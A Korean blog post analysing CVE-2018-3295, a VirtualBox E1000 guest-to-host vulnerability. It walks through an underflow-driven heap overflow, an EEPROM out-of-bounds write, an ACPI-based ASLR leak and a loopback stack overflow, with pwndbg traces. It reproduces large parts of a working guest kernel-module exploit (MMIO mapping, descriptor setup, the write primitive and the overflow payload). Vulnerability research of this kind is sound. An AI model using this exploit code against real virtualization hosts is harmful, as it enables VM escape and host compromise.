블로그 이전했습니다. https://jeongzero.oopy.io/
CVE-2018-3295 분석(2)
본문 바로가기
보안/원데이 분석

CVE-2018-3295 분석(2)

728x90


1. 취약점 설명 - info leak


분석자료(1)에 이어서 확인한 underflow로 info leak이 가능하다. 우선 언더플로우가 발생한 직후를 계속해서 살펴보자.

static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;
			// -> u16MaxPktLen = 0 + 0xf = 0xf
    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
				//  0xf - 0x10 = 0xffffffff!!!
        if (cb > pDesc->data.cmd.u20DTALEN) // 0xffffffff > 0x4034
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN; //0x4034
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

발생한 언더플로우로 인해 if문이 참이된다. pDesc→data.cmd.u20DTALEN 은 우리가 세팅했던 0x4034 사이즈이다. 따라서 현재 남아있는 TCP 세그먼트 사이즈가 0x4034 로 판단되고, e1kFallbackAddSegment() 함수를 통해 처리가 된다.

static void e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    /* TCP header being transmitted */
    struct E1kTcpHeader *pTcpHdr = (struct E1kTcpHeader *)
            (pThis->aTxPacketFallback + pThis->contextTSE.tu.u8CSS);
    /* IP header being transmitted */
    struct E1kIpHeader *pIpHdr = (struct E1kIpHeader *)
            (pThis->aTxPacketFallback + pThis->contextTSE.ip.u8CSS);

		...

    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);
		...

    pThis->u16TxPktLen += u16Len;

해당 함수 내부에 PDMDevHlpPhysRead() 함수가 호출되는데 이는 이제 실제 물리 메모리에 들어있는 패킷을 E1000 내부 버퍼로 u16Len(cb) 바이트 만큼 가져오게 된다.

즉 PhysAddr 에서 pThis->aTxPacketFallback + pThis->u16TxPktLen 로 데이터를 복사해오는데, 현재 aTxPacketFallback 사이즈는 0x3fa0이다.

#define E1K_MAX_TX_PKT_SIZE    16288 //0x3fa0
/** TX: Transmit packet buffer use for TSE fallback and loopback. */
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE]; // 요긴 힙임

따라서 힙 버퍼에서 bof가 발생한다. 해당 구조체 필드가 덮히는데 어떤값을 덮고, 어떻게 이용해야할지 생각해야한다.

	/**
 * Device state structure.
 *
 * Holds the current state of device.
 *
 * @implements  PDMINETWORKDOWN
 * @implements  PDMINETWORKCONFIG
 * @implements  PDMILEDPORTS
 */
struct E1kState_st
{
		...

		uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
		-> aTxPacketFallback 배열 사이즈 이상으로 값이 복사되므로 아래 필드들이 전부 덮힌다
    /** TX: Number of bytes assembled in TX packet buffer. */
    uint16_t    u16TxPktLen;
    /** TX: False will force segmentation in e1000 instead of sending frames as GSO. */
    bool        fGSOEnabled;
    /** TX: IP checksum has to be inserted if true. */
    bool        fIPcsum;
    /** TX: TCP/UDP checksum has to be inserted if true. */
    bool        fTCPcsum;
    /** TX: VLAN tag has to be inserted if true. */
    bool        fVTag;
    /** TX: TCI part of VLAN tag to be inserted. */
    uint16_t    u16VTagTCI;
    /** TX TSE fallback: Number of payload bytes remaining in TSE context. */
    uint32_t    u32PayRemain;
    /** TX TSE fallback: Number of header bytes remaining in TSE context. */
    uint16_t    u16HdrRemain;
    /** TX TSE fallback: Flags from template header. */
    uint16_t    u16SavedFlags;
    /** TX TSE fallback: Partial checksum from template header. */
    uint32_t    u32SavedCsum;
    /** ?: Emulated controller type. */
    E1KCHIP     eChip;

    /** EMT: EEPROM emulation */
    E1kEEPROM   eeprom; // 요기 !!
    /** EMT: Physical interface emulation. */
    PHY         phy;
	
		...
}

E1kState_st 구조체 필드중 eeprom 또한 덮힌다. 이를 통해 다음의 취약점이 발생한다.

OOB Read, Write

struct E1kEEPROM
{
    public:
        EEPROM93C46 eeprom;

#ifdef IN_RING3
        /**
         * Initialize EEPROM content.
         *
         * @param   macAddr     MAC address of E1000.
         */
        void init(RTMAC &macAddr)
        {
						....

-------------------------------------------------------------------------------

/**
 * 93C46-compatible EEPROM device emulation.
 */
struct EEPROM93C46
{
...
    bool m_fWriteEnabled;
    uint8_t Alignment1;
    uint16_t m_u16Word;
    uint16_t m_u16Mask;
    uint16_t m_u16Addr;
    uint32_t m_u32InternalWires;
		// eeprom 구조체 필드를 덮을수 있다면 위 3개의 값을 컨트롤 가능하다. 
...
		// Operation handlers
    State opDecode();
    State opRead();
    State opWrite();
    State opWriteAll();

    /** Helper method to implement write protection */
    void storeWord(uint32_t u32Addr, uint16_t u16Value);
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
		// bof를 통해 3개의 변수를 컨트롤하여 m_au16Data[] 배열을 OOB Write가 가능하다.
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

eeprom 구조체인 EEPROM93C46 를 보면 3개의 변수가 중요하다

  • bool m_fWriteEnabled;
  • uint16_t m_u16Word;
  • uint16_t m_u16Addr;

E1000 어댑터 내부에서 보조 메모리인 EEPROM이 구성된다. 따라서 GuestOS는 MMIO레지스터를 통해 eeprom에 접근할수 있다. 이 의미는 eeprom에 설정된 operation 핸들러를 트리거 시킬수 있고 그중 opWrite()를 보게되면 결국 storedWord() 함수를 통해 m_au16Data[] 배열의 특정 오프셋에 2바이트 값을 쓸수가 있다.

여기서 우리는 아까말한 bof를 통해 인덱스와 들어가는 값을 조작할수 있다. 즉 OOB Write가 가능하고 해당 취약점을 이용하여 의미있는 값을 덮어야한다. 해당 취야점은 ACPI 디바이스를 이용했다.

가상머신이 부팅이되면 ACPI 디바이스 정보가 올라오게된다. E1000이나 ACPI 같은 가상 디바이스들의 힙 청크사이 거리는 동일하기 때문에 EEPROM93C46.m_au16Data 배열에서 ACPI 구조체 필드들의 거리도 동일하다.

   0x7f9fde449ad1    test   rax, rax
   0x7f9fde449ad4    jne    0x7f9fde449b01 <0x7f9fde449b01>
    ↓
   0x7f9fde449b01    mov    rax, qword ptr [rbp - 0x18]
   0x7f9fde449b05    mov    edx, dword ptr [rbp - 0x1c]
   0x7f9fde449b08    movzx  ecx, word ptr [rbp - 0x20]
 ► 0x7f9fde449b0c    mov    word ptr [rax + rdx*2], cx
   0x7f9fde449b10    mov    rax, qword ptr [rbp - 0x18]
   0x7f9fde449b14    mov    word ptr [rax + 0x88], 0x8000
   0x7f9fde449b1d    nop    
   0x7f9fde449b1e    add    rsp, 0x18
   0x7f9fde449b22    pop    rbx
──────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────
In file: /home/wogh8732/vb/e1000_fake_driver/VirtualBox-5.2.10/src/VBox/Devices/Network/DevEEPROM.cpp
   50  */
   51 void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
   52 {
   53     if (m_fWriteEnabled) {
   54         E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
 ► 55         m_au16Data[u32Addr] = u16Value;
   56     }
   57     m_u16Mask = DATA_MSB;
   58 }
   59 
   60 /***/
─────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/40gx m_au16Data
0x7f9ff63ec760:	0x0000204915270008	0x000000000000ffff
0x7f9ff63ec770:	0x001e440800000000	0x30408086100e8086
0x7f9ff63ec780:	0x0000000000000000	0x0000000000000000
0x7f9ff63ec790:	0x0000000000000000	0x0000000000000000
0x7f9ff63ec7a0:	0x00c8280c70610000	0x00000000000000c8
0x7f9ff63ec7b0:	0x0000000000000000	0x0602000000000000
0x7f9ff63ec7c0:	0x0000000000000000	0x0000000000000000
0x7f9ff63ec7d0:	0x0000000000000000	0x5fc4000000000000
0x7f9ff63ec7e0:	0x008a000100000001	0x0000000a19a78000
0x7f9ff63ec7f0:	0x0000000000000001	0x79691b4000000000

위 디버깅 상황은 EEPROM93C46 구조체 내부의 write가 진행되는 sotrword() 로직이다. m_au16Data 배열의 주소는 0x7f9ff63ec760 로 확인되는데 대략 0x3000 바이트 뒤를 보면 다음과 같은 정보가 존재한다.

acpiR3SMBusRead() 함수 내부 로직

   0x7f9fde2ffa3b    mov    rdx, qword ptr [rbp - 0x20]
   0x7f9fde2ffa3f    mov    rax, qword ptr [rbp - 0x20]
   0x7f9fde2ffa43    movzx  eax, byte ptr [rax + 0x155e]
   0x7f9fde2ffa4a    movzx  eax, al
   0x7f9fde2ffa4d    cdqe   
 ► 0x7f9fde2ffa4f    movzx  eax, byte ptr [rdx + rax + 0x153e]
   0x7f9fde2ffa57    movzx  edx, al
   0x7f9fde2ffa5a    mov    rax, qword ptr [rbp - 0x50]
   0x7f9fde2ffa5e    mov    dword ptr [rax], edx
   0x7f9fde2ffa60    mov    rax, qword ptr [rbp - 0x20]
   0x7f9fde2ffa64    movzx  edx, byte ptr [rax + 0x155e]
──────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────
In file: /home/wogh8732/vb/e1000_fake_driver/VirtualBox-5.2.10/src/VBox/Devices/PC/DevACPI.cpp
   2231             break;
   2232         case SMBHSTDAT1_OFF:
   2233             *pu32 = pThis->u8SMBusHstDat1;
   2234             break;
   2235         case SMBBLKDAT_OFF:
 ► 2236             *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
   2237             pThis->u8SMBusBlkIdx++;
   2238             pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
   2239             break;
   2240         case SMBSLVCNT_OFF:
   2241             *pu32 = pThis->u8SMBusSlvCnt;
─────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/40gx pThis->au8SMBusBlkDat
0x7f9ff63efa8e:	0x0000000000000000	0x0000000000000000
0x7f9ff63efa9e:	0x0000000000000000	0x0000000000000000 //원래 사이즈
0x7f9ff63efaae:	0x0000000000000000	0x0000000000000000
0x7f9ff63efabe:	0xe981000000900000	0xb540fffcd340ffff
0x7f9ff63eface:	0x7f9ff63bce60fffc	0x7f9ff63bce600000
0x7f9ff63efade:	0x0000a0033e600000	0x0000000e00000000
0x7f9ff63efaee:	0x0000000e0fff0000	0x0000000010000000
0x7f9ff63efafe:	0x00ff000000020000	0x1000000000000000
0x7f9ff63efb0e:	0x7f9ff63ee9380000	0x7f9fde59dbfe0000
pwndbg> x/gx 0x7f9ff63efa8e-0x7f9ff63ec760
0x332e:	Cannot access memory at address 0x332e

대략 0x332e 뒤에 pThis->au8SMBusBlkDat 배열의 정보가 위치해 있다. 해당 배열은 32바이트 크기지만, bof를 통해 m_au16Data[u32Addr] = u16Value 을 이용하여 pThis->u8SMBusBlkIdx 값을 변경할수 있다.

따라서 32바이트 뒤에 존재하는 값들은 pu32에 저장할수 있게 된다.

typedef struct ACPIState
{
    PDMPCIDEV           dev;
    /** Critical section protecting the ACPI state. */
    PDMCRITSECT         CritSect;
		...

		uint8_t             au8SMBusBlkDat[32];
    /** SMBus Host Block Index */
    uint8_t             u8SMBusBlkIdx;
		
		...
}

acpiR3SMBusRead() 함수를 트리거 하기 위해선 GuestOS에서 ACPI input/output 포트가 0x4100-0x410F 사이에 존재한다. 이 중 0x4107 포트인 경우 다음의 로직이 수행된다

PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
    RT_NOREF1(pDevIns);
    ACPIState *pThis = (ACPIState *)pvUser;
...
    switch (off)
    {
...
        case SMBBLKDAT_OFF:
            *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
            pThis->u8SMBusBlkIdx++;
            pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
            break;
...

정리하면 다음과 같다.

Guest OS에서 0x4107 포트에서 한바이트를 읽기위해서 inb(0x4107) 함수를 호출하게 되면 핸드러는 au8SMBusBlkDat[u8SMBusBlkIdx] 에서 한바이트를 Guest에게 반환한다.

우리는 배열의 인덱스 값을 변경가능하기 때문에

pwndbg> x/20gx pThis->au8SMBusBlkDat
0x7f9ff63efa8e:	0x0000000000000000	0x0000000000000000
0x7f9ff63efa9e:	0x0000000000000000	0x0000000000000000
0x7f9ff63efaae:	0x0000000000000000	0x0000000000000000
0x7f9ff63efabe:	0xe981000000900000	0xb540fffcd340ffff
0x7f9ff63eface:	0x7f9ff63bce60fffc	0x7f9ff63bce600000
0x7f9ff63efade:	0x0000a0033e600000	0x0000000e00000000
0x7f9ff63efaee:	0x0000000e0fff0000	0x0000000010000000
0x7f9ff63efafe:	0x00ff000000020000	0x1000000000000000
0x7f9ff63efb0e:	0x7f9ff63ee9380000	0x7f9fde59dbfe0000
0x7f9ff63efb1e:	0x000186a500000000	0x0000000002b80031
pwndbg> xinfo 0x7f9fde59dbfe
Extended information for virtual address 0x7f9fde59dbfe:

  Containing mapping:
    0x7f9fde26d000     0x7f9fde681000 r-xp   414000 0      /home/wogh8732/vb/e1000_fake_driver/VirtualBox-5.2.10/out/linux.amd64/debug/bin/VBoxDD.so

  Offset information:
         Mapped Area 0x7f9fde59dbfe = 0x7f9fde26d000 + 0x330bfe
         File (Base) 0x7f9fde59dbfe = 0x7f9fde26d000 + 0x330bfe
      File (Segment) 0x7f9fde59dbfe = 0x7f9fde26d000 + 0x330bfe
         File (Disk) 0x7f9fde59dbfe = /home/wogh8732/vb/e1000_fake_driver/VirtualBox-5.2.10/out/linux.amd64/debug/bin/VBoxDD.so + 0x330bfe

 Containing ELF sections:
             .rodata 0x7f9fde59dbfe = 0x7f9fde5835a0 + 0x1a65e
pwndbg>

pThis->au8SMBusBlkDat + 0x8a 위치에 들어있는 값을 한바이트씩 leak할수 있다. 총6번 반복하여 특정 값을 얻을수 잇는데, 해당 값은 VBoxDD.so 라이브러리에 속하는 값으로 이를 통해 base 주소를 계산할수 있다.

분석하다가 껏다켜서 위 설명과는 값 다름.

참고로 루프백 모드가 기본적으로 활성화가 되어있다. 이를 비활성화 시키지 않는다면, 루프백 모드시 Tx-descriptor가 처리되서 전송되면 그대로 다시 guest가 수신받게 된다. 수신 로직 중, e1kHandleRxPacket() 함수가 호출되는데, 내부에서

static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
    uint8_t   rxPacket[E1K_MAX_RX_PKT_SIZE];
    ...
    if (status.fVP)
    {
        ...
    }
    else
        memcpy(rxPacket, pvBuf, cb);

memcpy 에서 stack bof가 일어난다. 이는 뒤에 이용할 RIP 컨트롤에 이용해야하기 때문에 info leak을 위해선, 루프백 모드를 disable 시켜야한다. 그래야지만 e1kHandleRxPacket() 함수가 호출되지 않는다.

2. 취약점 설명 - Stack BOF


이제 VBoxDD.so 주소를 leak했다면 다시 루프백 모드를 활성화 시켜야한다. 왜냐하면

e1kFallbackAddSegment() 내부에서 e1kTransmitFrame() 함수가 호출되는데,

static void e1kTransmitFrame(PE1KSTATE pThis, bool fOnWorkerThread)
{
    PPDMSCATTERGATHER   pSg     = pThis->CTX_SUFF(pTxSg);
    uint32_t            cbFrame = pSg ? (uint32_t)pSg->cbUsed : 0;
    Assert(!pSg || pSg->cSegs == 1);
	
		...

		/** @todo do we actually need to check that we're in loopback mode here? */
        if (GET_BITS(RCTL, LBM) == RCTL_LBM_TCVR) // 루프백 모드면 들어옴
        {
            E1KRXDST status;
            RT_ZERO(status);
            status.fPIF = true;
            e1kHandleRxPacket(pThis, pSg->aSegs[0].pvSeg, cbFrame, status);
            rc = VINF_SUCCESS;
        }


...

static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
    uint8_t   rxPacket[E1K_MAX_RX_PKT_SIZE];
    ...
    if (status.fVP)
    {
        ...
    }
    else
        memcpy(rxPacket, pvBuf, cb);

e1kTransmitFrame() 내부에서 루프백모드이면 조건문이 참이되어 e1kHandleRxPacket() 함수가 호출된다. 이 안에서 memcpy로 인해 지역 변수인 rxPacket[]이 overflow가 난다. 여기서 cb는 전에 설명한 0x4034에서 내부 로직으로 인해 이보다 더 증가된 사이즈들어있다.

► 0x7fea5b5358ce    call   memcpy@plt <memcpy@plt>
        dest: 0x7fea8cd15500 ◂— 0x0
        src: 0x7fea8c03a7a8 ◂— xor    byte ptr [rdx], 0x42 /* 0x6161616190423280 */
        n: 0x4290  -> 여기 !!
 
   0x7fea5b5358d3    jmp    0x7fea5b5358d6 <0x7fea5b5358d6>
 
   0x7fea5b5358d5    nop    
   0x7fea5b5358d6    mov    rax, qword ptr [rbp - 0x40a8]
   0x7fea5b5358dd    cmp    rax, 0x3b
   0x7fea5b5358e1    ja     0x7fea5b53591b <0x7fea5b53591b>
 
   0x7fea5b5358e3    mov    rax, qword ptr [rbp - 0x40a8]
   0x7fea5b5358ea    mov    edx, 0x3c
   0x7fea5b5358ef    sub    rdx, rax
   0x7fea5b5358f2    mov    rax, qword ptr [rbp - 0x40a8]
   0x7fea5b5358f9    lea    rcx, [rbp - 0x4030]
──────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────
In file: /home/wogh8732/vb/e1000_fake_driver/VirtualBox-5.2.10/src/VBox/Devices/Network/DevE1000.cpp
   2372         }
   2373         else
   2374             status.fVP = false; /* Set VP only if we stripped the tag */
   2375     }
   2376     else
 ► 2377         memcpy(rxPacket, pvBuf, cb);
   2378     /* Pad short packets */
   2379     if (cb < 60)
   2380     {
   2381         memset(rxPacket + cb, 0, 60 - cb);
   2382         cb = 60;
pwndbg> x/gx $rbp+8
0x7fea8cd19538:	0x00007fea5b5397cf
pwndbg> x/gx 0x7fea8cd19538-0x7fea8cd15500
0x4038:	Cannot access memory at address 0x4038
pwndbg>

ret 주소까지의 거리는 0x4038이지만, 현재 복사되는 사이즈는 0x4290이므로 ret주소를 덮을수 있다. 하지만 카나리 까지 다 덮어버리기 때문에 stack smashing이 터져버린다.

	 0x00007fea5b53625e <+3310>:	mov    rbx,QWORD PTR [rbp-0x28]
   0x00007fea5b536262 <+3314>:	xor    rbx,QWORD PTR fs:0x28
   0x00007fea5b53626b <+3323>:	je     0x7fea5b536272 <e1kHandleRxPacket(PE1KSTATE, void const*, size_t, E1KRXDST)+3330>
   0x00007fea5b53626d <+3325>:	call   0x7fea5b390d60 <__stack_chk_fail@plt>
─────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/gx $rbp-0x28
0x7f21c414b508:	0x0000000000000000

해당 POC 설명에 따르면 카나리 우회에 대한 내용은 없다. 이를 우회하려고 했으나, 성공하지 못했고, 좀더 많은 시간이 필요할것 같다.

3. exploit 시나리오


여기까지의 설명을 이제 시나리오별로 정리하고 최종적으로 stack bof 가 일어날때까지의 과정을 살펴보자. 익스 코드 POC에 나와있는 e1k.ko이 익스코드다. e1k 모듈이 커널에 적재됬을때 모듈 로직이 수행되면서 지지고 볶고 하는 가운데 취약점이 터지게 된다.

1. 초기 세팅

guestOS가 부팅되면 기본적으로 e1000 커널 모듈이 올라가 있다. 이를 내리고 POC 커널 모듈을 올림으로써 동작이 시작된다. (POC 커널 모듈이 e1000 처럼 동작시키는 것)

Guest OS 안에서
> sudo rmmod e1000
> sudo insmod e1k.ko

2. 초기화

insmod 명령어로 e1k 모듈을 커널에 적재시키면 데이터시트에 따라 e1000 어댑터를 초기화 시킨다. (물론 실제론 e1k가 초기화됨). 취약점은 패킷 전송과 관련된 부분만 사용하기 때문에 송신과정에 필요한 부분만 초기화 루틴이 구성된다. 실제 PoC에서 해당 함수가 초기화 과정이다.

static int __init e1k_init(void)
{
	uint64_t leaked_addr;
	bar0 = map_mmio();
	if (!bar0) {
		pr_info("e1k : failed to map mmio");
		return -1;
	}
	e1k_configure(); //e1000 어댑터의 레지스터들을 초기화 시켜주는 함수이다

	return 0;
}

map_mmio() 함수를 통해 실제 e1000 디바이스 물리주소를 가상주소로 매핑을 시킨다.

static uint8_t * map_mmio(void)
{
	off_t phys_addr = 0xF0000000;
	size_t length = 0x20000;

	uint8_t* virt_addr = ioremap(phys_addr, length);
	if (!virt_addr) {
		pr_info("e1k : ioremap failed to map MMIO\n");
		return NULL;
	}

	return virt_addr;
}

ioremap() 함수는 실제 물리주소를 가상주소로 매핑시켜주는 함수이다.

lspci -v 명령어로 현재 e1000 어댑터의 실제 물리주소가 0xf0000000고 사이즈는 128k라는것을 알수있다. 따라서 ioremap()의 첫번째 인자를 e1000 어댑터의 0xf0000000 주소, 사이즈를 128k에 대략 0x20000 으로 주었다. e1000 어댑터의 가상주소를 얻은후, e1k_configure() 함수를 통해 해당 어댑터의 필수 레지스터들을 세팅해준다.

/** e1k_configure : configure network device (e1000) registers */
static void e1k_configure(void)
{
	// Configure general purpose registers
	uint32_t ctrl, tctl, tdlen;
	uint64_t tdba;
	int i;

	ctrl = get_register(CTRL) | CTRL_RST;
	set_register(CTRL, ctrl);

	ctrl = get_register(CTRL) | CTRL_ASDE | CTRL_SLU | CTRL_FD;
	set_register(CTRL, ctrl);

	// Configure TX registers
	tx_ring = kmalloc(DESC_SIZE * NB_MAX_DESC, GFP_KERNEL);
//Tx-descriptor를 위한 구조체 변수. 구조체 크기는 0x4096이다.
	if (!tx_ring) {
		pr_info("e1k : failed to allocate TX Ring\n");
		return;
	}
	// Transmit setup
	for (i = 0; i < NB_MAX_DESC; ++i) {
		tx_ring[i].ctxt.cmd_and_length = DESC_DONE;
	}

	tx_buffer = kmalloc(PAYLOAD_LEN + 0x1000, GFP_KERNEL);
//Tx-descriptor가 저장되는 버퍼. 사이즈는 0x4034+0x1000이다
	if (!tx_buffer) {
		pr_info("e1k : failed to allocate TX Buffer\n");
		return;
	}

	tdba = (uint64_t)((uintptr_t) virt_to_phys(tx_ring));
	set_register(TDBAL, (uint32_t) ((tdba & 0xFFFFFFFFULL)));
	pr_info("¯\\_(ツ)_/¯");
	set_register(TDBAH, (uint32_t) (tdba >> 32));

	tdlen = DESC_SIZE * NB_MAX_DESC;
	set_register(TDLEN, tdlen);

	set_register(TDT, 0);
	set_register(TDH, 0);

	tctl = get_register(TCTL) | TCTL_EN | TCTL_PSP | ((0x40 << 12) & TCTL_COLD) | ((0x10 << 8) & TCTL_CT) | TCTL_RTLC;
	set_register(TCTL, tctl);
}

데이터 시트를 보면 Transmit 시에 세팅해줘야하는 것들이 나와있다. 이 중 중요한 부분만 보자면

Tx-ring buffer는 원형 큐 구조로 구성된다
  • TDBAL, TDBAH register

    해당 레지스터는 ring buffer의 base 주소를 가리킨다. 주소는 64bit로 하위 32bit가 TDBAL, 상위 32bit가 TDBAH이다.

  • TDLEN

    tx-descriptor 사이즈 크기

  • TDH

    tx-buffer(원형큐)의 head 포인터

  • TDT

    tx-buffer(원형큐)의 tail 포인터

  • TCLT

    이더넷 어댑터의 모든 기능들을 총괄하는 레지스터

정리를 하자면 전송할 패킷이 존재할때 현재 tx-buffer의 빈공간을 찾고, 찾으면 tx-descriptor를 업데이트한다. 이는 위 TDT 레지스터를 통해 업데이트가 된다는 소리고 즉 원형큐의 tail이 업데이트가 된다.

원형큐는 fifo 구조를 따르기 때문에 일정 버퍼가 가득차게되면, 패킷 전송을 위해 tx-buffer의 head 포인터에 들어있는 값을 nic 버퍼에 복사하게 된다. 이는 CPU가 관여하는게 아닌, DMA를 통해 하드웨어(NIC)가 업데이트한다.

따라서 Tail-Head 구간이 NIC 처리해야하는 실 데이터 부분이다. 이제 e1k 커널 모듈의 초기화는 끝났다. 다음 시나리오로 가쟈

3. info leak

  1. E100 루프백 모드 비활성화
    static void disable_loopback(void)
    {
    	uint32_t rctl = get_register(RCTL);
    	rctl |= RCTL_LBM_NO;
    	set_register(RCTL, rctl);
    }
    

    데이터 시트를 보면 루프백 모드에 대한 설명이있다.


    One loopback mode is provided in the Ethernet controller to assist with system and device debug. This loopback mode is enabled via RCTL.LBM control bits. The Ethernet controller must be operating in full-duplex mode for loopback.


    결국 RCTL.LBM 비트를 0으로 만드는 과정이다.

  1. 루프백 모드를 비활성화 시켰으므로, 언더플로우→힙 오버플로우 트리거되고, e1kHandleRxPacket() 함수는 호출되지 않는다.
    static uint64_t aslr_bypass(void)
    {
    	uint8_t leaked_bytes[8];
    	uint32_t i;
    	uint64_t leaked_vboxdd_ptr, vboxdd_base;
    
    	pr_info("##### Stage 1 #####\n");
    
    	disable_loopback();
    
    	for (i = 0; i < 8; i++) {
    		write_primitive(0x201f, 0x0058 + 0x2A + 0x8 + i);
    		leaked_bytes[i] = inb(0x4107);
    	}
    
    
    	leaked_vboxdd_ptr	= *((uint64_t *) leaked_bytes);
    	vboxdd_base		= leaked_vboxdd_ptr - LEAKED_VBOXDD_VAO;
    	pr_info("Leaked VBoxDD.so pointer : 0x%016llx\n", leaked_vboxdd_ptr);
    	pr_info("Leaked VBoxDD.so base : 0x%016llx\n", vboxdd_base);
    
    	return vboxdd_base;
    }

    write_primitive() 함수를 총 8번 호출하고, 그 내부에서 ACPI 구조체 필드에 한바이트씩 저장한다. 그리고 inb() 함수로 0x4107 포트에 저장된 값을 얻는다.

    static void write_primitive(uint16_t address, uint16_t value)
    {
    	
    	....
    	// 4. Overflow EEPROM writing address
    	heap_overflow(address, value);
    	mdelay(3000);
    
    	// 5. Write value thanks to legit operation into our overflowed address.
    	mask = 1 << 15;
    	for (i = 0; i < 16; i++) {
    		eecd = get_register(EECD) & ~EECD_DI;
    
    		if (value & mask)
    			eecd |= EECD_DI;
    
    		set_register(EECD, eecd);
    		udelay(50);
    
    		emul_clock(&eecd);
    		mask >>= 1;
    	}
    
    	// 6. We leave the "DI" bit set to "0" when we leave this routine.
    	eecd = get_register(EECD) & ~(EECD_DI | EECD_CS);
    	set_register(EECD, eecd);
    
    	emul_clock(&eecd);
    
    	eecd = get_register(EECD) & ~EECD_REQ;
    	set_register(EECD, eecd);
    }

    write_primitive() 함수 내부를 보면 heap_overflow() 함수를 호출하는데, heap overflow를 통해 m_au16Data[u32Addr] = u16Value. 요 라인의 인덱스와 값을 수정하는것이다. 따라서 인자를 address(u32Addr위치), value(u16Value) 두개로 하여 heap_overflow()를 호출한다

    /** heap_overflow : erase EEPROM writing address with new one
     * @param new_addr new adress to write in EEPROM
     */
    static void heap_overflow(uint16_t new_addr,uin16_t value)
    {
    	int i;
    	uint32_t	tdt;
    	uint64_t 	physical_address;
    
    	struct e1000_ctxt_desc*	ctxt_1 = &(tx_ring[idx+0].ctxt);
    	struct e1000_data_desc*	data_2 = &(tx_ring[idx+1].data);
    	struct e1000_data_desc*	data_3 = &(tx_ring[idx+2].data);
    	struct e1000_ctxt_desc*	ctxt_4 = &(tx_ring[idx+3].ctxt);
    	struct e1000_data_desc*	data_5 = &(tx_ring[idx+4].data);
    
    	//------------- Payload setup -------------//
    
    	/* We will overflow on EEProm Struct. Looks like
    	 *		...
    	 *		- uint16_t	m_au16Data[64]		(1024 bits)
    	 * 		- enum		m_eState			(32 bits)
    	 *		- bool		m_fWriteEnabled		(08 bits)
    	 * 		- uint8_t 	Alignment1			(08 bits)
    	 *		- uint16_t	m_u16Word			(16 bits)
    	 *		- uint16_t	m_u16Mask			(16 bits)
    	 *		- uint16_t	m_u16Addr			(16 bits)
    	 * 		...
    	 */
    	// Payload setup
    	for (i = 0; i < PAYLOAD_LEN-50; ++i) {
    		tx_buffer[i] = 0x61; // Fill with garbage "a"
    	}
    	memcpy(&(tx_buffer[PAYLOAD_LEN - 140]), mu16Data, 128);
    	tx_buffer[PAYLOAD_LEN - 12]	= 0x01;
    	tx_buffer[PAYLOAD_LEN - 11]	= 0x00;
    	tx_buffer[PAYLOAD_LEN - 10]	= 0x00;
    	tx_buffer[PAYLOAD_LEN - 9]	= 0x00;
    	tx_buffer[PAYLOAD_LEN - 8]	= 0x01;
    	tx_buffer[PAYLOAD_LEN - 7]  = 0x00;
      tx_buffer[PAYLOAD_LEN - 6]  = low16(value); // m_u16Word 하위 1byte
      tx_buffer[PAYLOAD_LEN - 5]  = high16(value); // m_u16Word 상위 1byte
    	tx_buffer[PAYLOAD_LEN - 4]	= low16((1 << 15)); //m_u16Mask
    	tx_buffer[PAYLOAD_LEN - 3]	= high16((1 << 15)); //m_u16Mask
    	tx_buffer[PAYLOAD_LEN - 2]	= low16(new_addr); //m_u16Addr
    	tx_buffer[PAYLOAD_LEN - 1]	= high16(new_addr); //m_u16Addr
    	//-----------------------------------------//
    
    	//----------- Descriptors setup -----------//
    	physical_address = virt_to_phys(tx_buffer);
    
    	ctxt_1->lower_setup.ip_config	= (uint32_t) 0;
    	ctxt_1->upper_setup.tcp_config	= (uint32_t) 0;
    	ctxt_1->cmd_and_length		= (uint32_t) (TCP_IP | REPORT_STATUS | DESC_CTX | TSE | FIRST_PAYLEN);
